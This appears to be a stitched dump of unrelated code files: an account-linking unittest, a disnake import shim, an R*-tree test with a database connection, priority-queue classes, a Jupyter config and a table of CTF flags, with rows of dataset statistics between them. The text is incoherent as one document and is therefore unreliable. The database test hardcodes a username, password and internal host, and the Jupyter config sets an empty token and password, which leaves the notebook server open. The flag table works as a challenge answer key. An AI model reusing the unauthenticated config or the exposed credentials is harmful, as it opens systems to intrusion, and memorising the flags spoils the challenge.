secondary_client = "facebook"
result = linkerservice.link_user_to_client(primary_user, primary_client)
self.assertTrue(result)
generated_key = linkerservice.generate_link(primary_user, provided_key)
self.assertIsNotNone(generated_key)
result = linkerservice.link_accounts(primary_user, provided_key, generated_key+"X", secondary_user, secondary_client)
self.assertFalse(result)
def assert_generated_key_expired(self, linkerservice):
primary_user = "testuser1"
primary_client = "console"
provided_key = "PASSWORD1"
result = linkerservice.link_user_to_client(primary_user, primary_client)
self.assertTrue(result)
generated_key = linkerservice.generate_link(primary_user, provided_key, lifetime=0)
self.assertIsNotNone(generated_key)
result = linkerservice.link_accounts(primary_user, provided_key, generated_key, "testuser2", "facebook")
self.assertFalse(result)
def assert_lockout_after_max_retries(self, linkerservice):
primary_user = "testuser1"
primary_client = "console"
provided_key = "PASSWORD1"
secondary_user = "testuser2"
secondary_client = "facebook"
result = linkerservice.link_user_to_client(primary_user, primary_client)
self.assertTrue(result)
generated_key = linkerservice.generate_link(primary_user, provided_key)
self.assertIsNotNone(generated_key)
result = linkerservice.link_accounts(primary_user, provided_key, generated_key+"X", secondary_user, secondary_client)
self.assertFalse(result)
result = linkerservice.link_accounts(primary_user, provided_key, generated_key+"X", secondary_user, secondary_client)
self.assertFalse(result)
result = linkerservice.link_accounts(primary_user, provided_key, generated_key+"X", secondary_user, secondary_client)
self.assertFalse(result)
result = linkerservice.link_accounts(primary_user, provided_key, generated_key, secondary_user, secondary_client)
self.assertFalse(result)
reset = linkerservice.reset_link(primary_user)
self.assertTrue(reset)
result = linkerservice.link_accounts(primary_user, provided_key, generated_key, secondary_user, secondary_client)
self.assertTrue(result)
def assert_unlink_user_from_client(self, linkerservice):
primary_user = "testuser1"
primary_client = "console"
provided_key = "PASSWORD1"
secondary_user = "testuser2"
secondary_client = "facebook"
result = linkerservice.link_user_to_client(primary_user, primary_client)
self.assertTrue(result)
generated_key = linkerservice.generate_link(primary_user, provided_key)
self.assertIsNotNone(generated_key)
result = linkerservice.link_accounts(primary_user, provided_key, generated_key, secondary_user, secondary_client)
self.assertTrue(result)
result = linkerservice.unlink_user_from_client(primary_user, primary_client)
self.assertTrue(result)
result = linkerservice.link_accounts(primary_user, provided_key, generated_key, secondary_user, secondary_client)
self.assertFalse(result)
| 39.614379
| 125
| 0.721003
| 636
| 6,061
| 6.540881
| 0.092767
| 0.097837
| 0.105048
| 0.084615
| 0.852885
| 0.828846
| 0.824279
| 0.824279
| 0.8
| 0.797115
| 0
| 0.006595
| 0.199472
| 6,061
| 152
| 126
| 39.875
| 0.850783
| 0
| 0
| 0.776786
| 1
| 0
| 0.047847
| 0
| 0
| 0
| 0
| 0
| 0.446429
| 1
| 0.080357
| false
| 0.0625
| 0.008929
| 0
| 0.098214
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 10
|
7104aeb6546ba8e4dd6bffc5c8805ea4edc6e850
| 122
|
py
|
Python
|
discord/object.py
|
kuzaku-developers/disnake
|
61cc1ad4c2bafd39726a1447c85f7e469e41af10
|
[
"MIT"
] | null | null | null |
discord/object.py
|
kuzaku-developers/disnake
|
61cc1ad4c2bafd39726a1447c85f7e469e41af10
|
[
"MIT"
] | null | null | null |
discord/object.py
|
kuzaku-developers/disnake
|
61cc1ad4c2bafd39726a1447c85f7e469e41af10
|
[
"MIT"
] | null | null | null |
from disnake.object import *
from disnake.object import __dict__ as __original_dict__
locals().update(__original_dict__)
| 24.4
| 56
| 0.836066
| 16
| 122
| 5.5
| 0.5625
| 0.25
| 0.386364
| 0.522727
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.098361
| 122
| 4
| 57
| 30.5
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
7107250b56eae559f28381081a3c0fb7756535ac
| 3,084
|
py
|
Python
|
tests/test_friction.py
|
ericfan489/rtreelib
|
dad4b4e3699306b3318f66cf9bc4ae00cdffdd34
|
[
"MIT"
] | null | null | null |
tests/test_friction.py
|
ericfan489/rtreelib
|
dad4b4e3699306b3318f66cf9bc4ae00cdffdd34
|
[
"MIT"
] | null | null | null |
tests/test_friction.py
|
ericfan489/rtreelib
|
dad4b4e3699306b3318f66cf9bc4ae00cdffdd34
|
[
"MIT"
] | null | null | null |
from rtreelib import RStarTree, Rect
from unittest import TestCase
from rtreelib.diagram import create_rtree_diagram
import psycopg2
class Test_friction(TestCase):
def test_10_points(self):
params = {
'dbname': 'nsf_roadtraffic_friction_v2',
'user': 'efan',
'password': '26May2021',
'host': '10.91.224.230',
'port': 5432
}
try:
conn = psycopg2.connect(**params)
cursor = conn.cursor()
#cursor.execute('SELECT contact_point_east, contact_point_north, friction_measurement_noisy FROM tmp_page_caches FETCH FIRST 10 ROWS ONLY')
cursor.execute('SELECT contact_point_east, contact_point_north, friction_measurement_noisy FROM tmp_page_caches LIMIT 10')
data = list(cursor.fetchall())
conn.close()
except:
print( "I am unable to connect to the database")
print('We have {} columns'.format(len(data)))
t = RStarTree(max_entries = 4,min_entries = 2)
for x in data:
t.insert(x[2],Rect(x[0],x[1],x[0],x[1]))
create_rtree_diagram(t)
def test_1000_points(self):
params = {
'dbname': 'nsf_roadtraffic_friction_v2',
'user': 'efan',
'password': '26May2021',
'host': '10.91.224.230',
'port': 5432
}
try:
conn = psycopg2.connect(**params)
cursor = conn.cursor()
#cursor.execute('SELECT contact_point_east, contact_point_north, friction_measurement_noisy FROM tmp_page_caches FETCH FIRST 1000 ROWS ONLY')
cursor.execute('SELECT contact_point_east, contact_point_north, friction_measurement_noisy FROM tmp_page_caches LIMIT 10000')
data = list(cursor.fetchall())
conn.close()
except:
print( "I am unable to connect to the database")
print('We have {} columns'.format(len(data)))
t = RStarTree(max_entries = 4,min_entries = 2)
for x in data:
t.insert(x[2],Rect(x[0],x[1],x[0],x[1]))
#create_rtree_diagram(t)
#def test_all_points(self):
#params = {
#'dbname': 'nsf_roadtraffic_friction_v2',
#'user': 'efan',
#'password': '26May2021',
#'host': '10.91.224.230',
#'port': 5432
#}
#try:
#conn = psycopg2.connect(**params)
#cursor = conn.cursor()
#cursor.execute('SELECT contact_point_east, contact_point_north, friction_measurement_noisy FROM tmp_page_caches')
#data = list(cursor.fetchall())
#print('We have {} columns'.format(len(data)))
#t = RStarTree(max_entries = 4,min_entries = 2)
#print(type(data[0][2]))
#for x in data:
#t.insert(x[2],Rect(x[0],x[1],x[0],x[1]))
#nodes = t.get_nodes()
#for y in nodes:
#print(y.lin_sum)
#create_rtree_diagram(t)
#except:
#print( "I am unable to connect to the database")
| 36.714286
| 153
| 0.5762
| 377
| 3,084
| 4.522546
| 0.241379
| 0.070381
| 0.010557
| 0.014076
| 0.847507
| 0.847507
| 0.847507
| 0.847507
| 0.847507
| 0.847507
| 0
| 0.050533
| 0.300584
| 3,084
| 83
| 154
| 37.156627
| 0.739917
| 0.309663
| 0
| 0.73913
| 0
| 0
| 0.228939
| 0.050452
| 0
| 0
| 0
| 0
| 0
| 1
| 0.043478
| false
| 0.043478
| 0.086957
| 0
| 0.152174
| 0.086957
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
712a7065ee0e3b13fc03ae3599ec0140e55fc8f8
| 10,911
|
py
|
Python
|
Algorithms/prio_queue/structures.py
|
matija94/show-me-the-code
|
7e98b15da03712e28417f2c808c4324989ce9bd7
|
[
"MIT"
] | 1
|
2017-07-10T21:05:46.000Z
|
2017-07-10T21:05:46.000Z
|
Algorithms/prio_queue/structures.py
|
matija94/show-me-the-code
|
7e98b15da03712e28417f2c808c4324989ce9bd7
|
[
"MIT"
] | null | null | null |
Algorithms/prio_queue/structures.py
|
matija94/show-me-the-code
|
7e98b15da03712e28417f2c808c4324989ce9bd7
|
[
"MIT"
] | null | null | null |
from linked_lists.double_linked import PositionalList
class PriorityQueueBase:
''' abstract base class for a priority queue '''
class _Item:
__slots_ = '_key', '_value'
def __init__(self,k,v):
self._key = k
self._value = v
def __lt__(self, other):
return self._key < other._key
def is_empty(self):
return len(self) == 0
class UnsortedPriorityQueue(PriorityQueueBase):
''' a min-oriented priority queue implemented with unsorted list '''
def _find_min(self):
''' private function. Finds position holding smallest element in the queue'''
if self.is_empty():
raise ValueError('priority queue is empty')
small = self._data.first()
walk = self._data.after(small)
while walk is not None:
if walk.element() < small.element():
small = walk
walk = self._data.after(walk)
return small
def __init__(self):
self._data = PositionalList()
def __len__(self):
return len(self._data)
def add(self, key, value):
''' adds a key-value pair '''
self._data.add_last(self._Item(key,value))
def min(self):
''' inspect min key-value pair '''
if self.is_empty():
raise ValueError('empty')
p = self._find_min()
item = p.element()
return (item._key, item._value)
def remove_min(self):
''' remove and return min key-value pair '''
if self.is_empty():
raise ValueError('empty')
p = self._find_min()
item = self._data.delete(p)
return (item._key, item._value)
class SortedPriorityQueue(PriorityQueueBase):
def __init__(self):
self._data = PositionalList()
def __len__(self):
return len(self._data)
def add(self, key, value):
''' add a key-value pair '''
newest = self._Item(key,value)
walk = self._data.last()
while walk is not None and newest < walk.element():
walk = self._data.before(walk)
if walk is None:
self._data.add_first(newest)
else:
self._data.add_after(newest, walk)
def min(self):
''' inspects minimum key-value pair '''
if self.is_empty():
raise ValueError('empty')
item = self._data.first().element()
return (item._key, item._value)
def remove_min(self):
''' removes and returns min key-value pair '''
if self.is_empty():
raise ValueError('empty')
p = self._data.first()
item = self._data.delete(p)
return (item._key, item._value)
class MaxPriorityQueue(PriorityQueueBase):
def _left(self, j):
return 2 * j + 1
def _right(self, j):
return 2 * j + 2
def _parent(self, j):
return (j - 1) // 2
def _swap(self, i, j):
self._data[i], self._data[j] = self._data[j], self._data[i]
def _upheap(self, j):
parent = self._parent(j)
if parent >= 0 and self._data[j] > self._data[parent]:
self._swap(j, parent)
self._upheap(parent)
def _downheap(self, j):
left = self._left(j)
if left < len(self._data):
big = left
right = self._right(j)
if right < len(self._data) and self._data[right] > self._data[left]:
big = right
if self._data[big] > self._data[j]:
self._swap(big, j)
self._downheap(big)
def __len__(self):
return len(self._data)
def __init__(self, contents=()):
self._data = [self._Item(k, v) for k, v in contents]
if len(self._data) > 1:
self._heapify()
def _heapify(self):
'''
private function. Finds first non-leaf element and performs down heap for each element from first non-leaf to root
'''
first_non_leaf = self._parent(len(self._data) - 1)
for i in range(first_non_leaf, -1, -1):
self._downheap(i)
def add(self, key, value):
''' adds key-value pair'''
self._data.append(self._Item(key, value))
self._upheap(len(self._data) - 1)
def max(self):
''' inspects head of the queue
Head of the queue is the minimum element heap
'''
if self.is_empty():
raise ValueError('empty')
item = self._data[0]
return (item._key, item._value)
def remove_min(self):
'''
removes and returns head of the queue
head of the queue is the minimum element in the heap
'''
if self.is_empty():
raise ValueError('empty')
self._swap(0, len(self._data) - 1)
item = self._data.pop()
self._downheap(0)
return (item._key, item._value)
class MinPriorityQueue(PriorityQueueBase):
def _left(self,j):
return 2*j+1
def _right(self,j):
return 2*j+2
def _parent(self,j):
return (j-1)//2
def _swap(self,i,j):
self._data[i], self._data[j] = self._data[j], self._data[i]
def _upheap(self,j):
parent = self._parent(j)
if parent >= 0 and self._data[j] < self._data[parent]:
self._swap(j, parent)
self._upheap(parent)
def _downheap(self,j):
left = self._left(j)
if left < len(self._data):
small = left
right = self._right(j)
if right < len(self._data) and self._data[right] < self._data[left]:
small = right
if self._data[small] < self._data[j]:
self._swap(small, j)
self._downheap(small)
def __len__(self):
return len(self._data)
def __init__(self, contents=()):
self._data = [self._Item(k,v) for k,v in contents]
if len(self._data) > 1:
self._heapify()
def _heapify(self):
'''
private function. Finds first non-leaf element and performs down heap for each element from first non-leaf to root
'''
first_non_leaf = self._parent(len(self._data)-1)
for i in range(first_non_leaf,-1,-1):
self._downheap(i)
def add(self, key, value):
''' adds key-value pair'''
self._data.append(self._Item(key,value))
self._upheap(len(self._data)-1)
def min(self):
''' inspects head of the queue
Head of the queue is the minimum element heap
'''
if self.is_empty():
raise ValueError('empty')
item = self._data[0]
return (item._key, item._value)
def remove_min(self):
'''
removes and returns head of the queue
head of the queue is the minimum element in the heap
'''
if self.is_empty():
raise ValueError('empty')
self._swap(0,len(self._data)-1)
item = self._data.pop()
self._downheap(0)
return (item._key, item._value)
class AdaptableMinPriorityQueue(MinPriorityQueue):
class Locator(MinPriorityQueue._Item):
__slots_ = '_index'
def __init__(self,k,v,j):
super().__init__(k, v)
self._index = j
def _swap(self, i, j):
super()._swap(i, j)
self._data[i]._index = i #reset locator index, post-swap
self._data[j]._index = j #reset locator index, post-swap
def _validate_loc(self,loc):
if not type(loc) is self.Locator:
raise TypeError('not locator')
j = loc._index
if not (0 <= j < len(self._data) and self._data[j] is loc):
raise ValueError('invalid locator')
return j
def _bubble(self,j):
if j > 0 and self._data[j] < self._data[self._parent(j)]:
self._upheap(j)
else:
self._downheap(j)
def add(self,key,value):
''' Add a key,value pair and returns Locator for new entry '''
token = self.Locator(key, value, len(self._data))
self._data.append(token)
self._upheap(len(self._data)-1)
return token
def update(self,loc,newkey,newvalue):
''' Updates key and value for the entry identified by Locator loc '''
j = self._validate_loc(loc)
loc._key = newkey
loc._value = newvalue
self._bubble(j)
def remove(self,loc):
''' Remove and return (k,v) pair identified by Locator loc '''
j = self._validate_loc(loc)
if j == len(self._data)-1:
self._data.pop()
else:
self._swap(j, len(self._data)-1)
self._data.pop()
self._bubble(j)
return (loc._key, loc._value)
class AdaptableMaxPriorityQueue(MaxPriorityQueue):
class Locator(MaxPriorityQueue._Item):
__slots_ = '_index'
def __init__(self, k, v, j):
super().__init__(k, v)
self._index = j
def _swap(self, i, j):
super()._swap(i, j)
self._data[i]._index = i # reset locator index, post-swap
self._data[j]._index = j # reset locator index, post-swap
def _validate_loc(self, loc):
if not type(loc) is self.Locator:
raise TypeError('not locator')
j = loc._index
if not (0 <= j < len(self._data) and self._data[j] is loc):
raise ValueError('invalid locator')
return j
def _bubble(self, j):
if j > 0 and self._data[j] > self._data[self._parent(j)]:
self._upheap(j)
else:
self._downheap(j)
def add(self, key, value):
''' Add a key,value pair and returns Locator for new entry '''
token = self.Locator(key, value, len(self._data))
self._data.append(token)
self._upheap(len(self._data) - 1)
return token
def update(self, loc, newkey, newvalue):
''' Updates key and value for the entry identified by Locator loc '''
j = self._validate_loc(loc)
loc._key = newkey
loc._value = newvalue
self._bubble(j)
def remove(self, loc):
''' Remove and return (k,v) pair identified by Locator loc '''
j = self._validate_loc(loc)
if j == len(self._data) - 1:
self._data.pop()
else:
self._swap(j, len(self._data) - 1)
self._data.pop()
self._bubble(j)
return (loc._key, loc._value)
if __name__ == '__main__':
mh = MaxPriorityQueue(((9,'f'), (7,'s'), (5,'z'), (3,'t'), (1,'m')))
mh.add(3, 'Matija')
mh.add(1,'Ckilim')
mh.add(15, 'MlTech')
key,value = mh.remove_min()
print(value)
| 30.224377
| 122
| 0.547338
| 1,395
| 10,911
| 4.057348
| 0.102509
| 0.118728
| 0.05053
| 0.029682
| 0.795406
| 0.777208
| 0.771555
| 0.771555
| 0.771555
| 0.771555
| 0
| 0.007129
| 0.3315
| 10,911
| 361
| 123
| 30.224377
| 0.768851
| 0.130969
| 0
| 0.75
| 0
| 0
| 0.018231
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.206349
| false
| 0
| 0.003968
| 0.047619
| 0.357143
| 0.003968
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
859ef970c2aa177b6d8444cb4d4562fb373f5d6d
| 186
|
py
|
Python
|
conf/home/vagrant/.jupyter/jupyter_notebook_config.py
|
vais-ral/CCPi-VirtualMachine
|
831e45ddbeecedbea8d4f2ed958dbcf60c41bb94
|
[
"MIT"
] | 2
|
2019-01-28T10:10:46.000Z
|
2019-03-22T16:25:41.000Z
|
conf/home/vagrant/.jupyter/jupyter_notebook_config.py
|
TomasKulhanek/CCPi-VirtualMachine
|
8f83f0db96b77e86aedda58c0046f9eab1792f74
|
[
"MIT"
] | 32
|
2018-11-15T09:51:53.000Z
|
2022-03-09T11:18:44.000Z
|
conf/home/vagrant/.jupyter/jupyter_notebook_config.py
|
TomasKulhanek/CCPi-VirtualMachine
|
8f83f0db96b77e86aedda58c0046f9eab1792f74
|
[
"MIT"
] | 2
|
2019-01-14T10:11:13.000Z
|
2021-05-05T11:15:01.000Z
|
c.NotebookApp.base_url = '/jupyter'
c.NotebookApp.iopub_data_rate_limit = 1000000000
c.NotebookApp.iopub_msg_rate_limit = 1000000000
c.NotebookApp.token = ''
c.NotebookApp.password = ''
| 31
| 48
| 0.801075
| 25
| 186
| 5.68
| 0.52
| 0.422535
| 0.239437
| 0.28169
| 0.43662
| 0
| 0
| 0
| 0
| 0
| 0
| 0.116959
| 0.080645
| 186
| 5
| 49
| 37.2
| 0.71345
| 0
| 0
| 0
| 0
| 0
| 0.043011
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.2
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
85a4db1b078cad3565b89f498feb6920f7c455ac
| 54,011
|
py
|
Python
|
tasks/broken-transmitter/flask/tokens.py
|
chankruze/qctf-school-2018
|
1e732cf264ee0a94bc2fc1fd8cf3a20660d57605
|
[
"MIT"
] | null | null | null |
tasks/broken-transmitter/flask/tokens.py
|
chankruze/qctf-school-2018
|
1e732cf264ee0a94bc2fc1fd8cf3a20660d57605
|
[
"MIT"
] | null | null | null |
tasks/broken-transmitter/flask/tokens.py
|
chankruze/qctf-school-2018
|
1e732cf264ee0a94bc2fc1fd8cf3a20660d57605
|
[
"MIT"
] | null | null | null |
flags = {
'ebee8289545fc134ed28828cec99407e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_PFaLd0UgjS}',
'a1782fb2a091f0dd78444e5054ba6ca7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Iy0qYo1SXM}',
'e22e6f3353b938b4320e681fee71fad3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_388u7GO0rC}',
'9e8b7e381109ba95e770a5e08d5800f3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_FlZ0P6U92v}',
'a81342cc63003f43e5bf4389957e175f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_lUhWf715SA}',
'7fab039fadaadfc6074a24f2a5c3cbc6': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ePxRQneIS7}',
'db8cb0368e048a3fe9b0719d0420ec0b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_a4oaHMphK3}',
'01c19a8afcb4f81889ce2a7df4c248b9': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_8HQ8u8mJEp}',
'34f7cccb37dcd2022028cef2ad9dd36e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ESB2Uzc3Ij}',
'188bb9012a459e523401a6eb0695f30b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_75BOezZTBQ}',
'084f5f79f3ceb48e42f19437bd430c76': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_zbUg89EhgH}',
'38f1d3c0a1428f2113b967502820cfc7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_4MSXZ4ninO}',
'ddaaffd5edc91a1bc0adb2a203358d7e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_MzB9LKXlQP}',
'676631a041af3791d054bedf483e98c6': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_AaF6c1MXMc}',
'01300362801d2b96966cb171dc2b8b4a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_N3rloItI3p}',
'6397c7ab5a17ad5aca09814435f206eb': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rTn89KfPMv}',
'baca038dc141f8e44026b41029c4ec0e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Uv86lByl3a}',
'aa4a44d3ca464cc4eb580d529f9dbc29': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_tSnC2OhRsb}',
'1b9798467cddd54aaa7fcc1868f5d601': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_gGrCUQlPK3}',
'493e9ea6b6197efc61b207c7f95943e8': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_w5OQfSBsav}',
'00c5a6a0d09e1eef899d5aff71341842': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_buakXEhuwP}',
'2bfab0b4bf737d1f2a48cd3364be988a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_lRNY5LdHXl}',
'0c92473fa41780af300acef1024c2079': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_1qRMJPVofx}',
'b804bab279d1e4e78ae99a730323b8c4': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_RxGN4AYj4p}',
'35f20d447e0e8eaa2fc93abca12f0815': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Q1CpPmzRFQ}',
'ffbeef7adfb4234d82a8d6872d5fe587': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_jlqCLAfedN}',
'71831a9fba66f81196b7129f78a54b77': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_FV6rNuwxnC}',
'32bd70c69387eeb1989bc562ba2e53fc': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_a7rNrXlTaj}',
'4f2792f0afae807f0776c102bc5f6037': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Vb1CFsleQE}',
'959b61bc5f6f344fe1fc8061f77a6f05': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_KE3fNuI1Om}',
'fbb3e56d6a45846dbb548491bf1bca42': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_7cZrpq8hKD}',
'7f31066d1582a6c74161bc35f589fb42': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_dbQQbl6pYh}',
'd98185e249171462c2618b66e9dc04fd': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_7IXIKcOKxw}',
'2af4f0b468508f2c8aad2588127464f0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UmwKaoc6HP}',
'1dd9eeece81d2953fe23ab19960e0980': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_KGcaMyWwRz}',
'e312f63c83459f731029eb8e0081cae5': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_xgp3NKjvHE}',
'ad9af5d299c89d7b86a8400fbbaa6faf': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_oskl20U71D}',
'a61f46f33c6a30b335e028512e88d50f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_k59FgOvpAj}',
'd9af19c4a915649d662d02969425b679': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_8MoSwILN4e}',
'a418f1d775274a2aa7f7ed6c3a8f50a7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_u5uezAtAKw}',
'2f8d181fe82fb4c3811b24814cd14ada': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_xOsRt5SSeC}',
'211b28ffbda104de56712bdbe3b24f33': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_SV4nURwIfN}',
'5ecc187244b2fa8ad34cdf7d35409df5': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_v48eV1ExD8}',
'cfabe89a92daa23da8ab5244779ba584': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_eXYqbXHoTO}',
'1fa035176203df143632c1e6fe079d6f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_tMPXw3zbhz}',
'd716da6808f73b088df966c53854f399': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_XvCMpo7uc7}',
'a283e491ab95d18d03125746b3b99692': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_pMUMzg1Uoc}',
'defee55cd95c4ffcb48452da2d9bff3b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_E99b3ITNPW}',
'521041fbc5f590e1ac599eebc19b9cc5': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_qkESuYD5FT}',
'4b1f0558dc5771df221601411d9f0d4f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_qDsfET3zgh}',
'45134cfef81d588be009f7580491675f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_nUDC0FztDT}',
'd219a6c837dc6df197c64273c0348fec': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_2CI62QpNFD}',
'd4750acca7f237e51b74303c0df92a3a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_pU5EfvKuJY}',
'6940dc17b236a0a077ee5f511e76989f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UTE8JGDr3L}',
'fef217256e3040029fae2415ed8a4633': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_SxSIPDpKHe}',
'0f3f452503b05d25b9bc9f5f122eddfb': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_sMtNoCxzqt}',
'0f72ebe1bfff38c0862b417a7e67dada': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_KwjCG26Glw}',
'3ded577e89a95b86b41a766eb7995b3b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_XWenkkJEIU}',
'30e5371bfdd545021b9ca803e253e4ce': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_OODDQt82fF}',
'50841c9b142617def8e0afde2ea6ed95': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_fZzKyiitMw}',
'449040c7201d987f054e8a4706d4dab2': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_CcJPMxfhJh}',
'cffe71a9af0d15a83168199406238f07': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Z5Aidy0G3T}',
'5e780639457c61392866003c23de3cd8': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_0sILLiGNEP}',
'380376b29286792018749a1cc72b9f4a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rmLAG1Qq0C}',
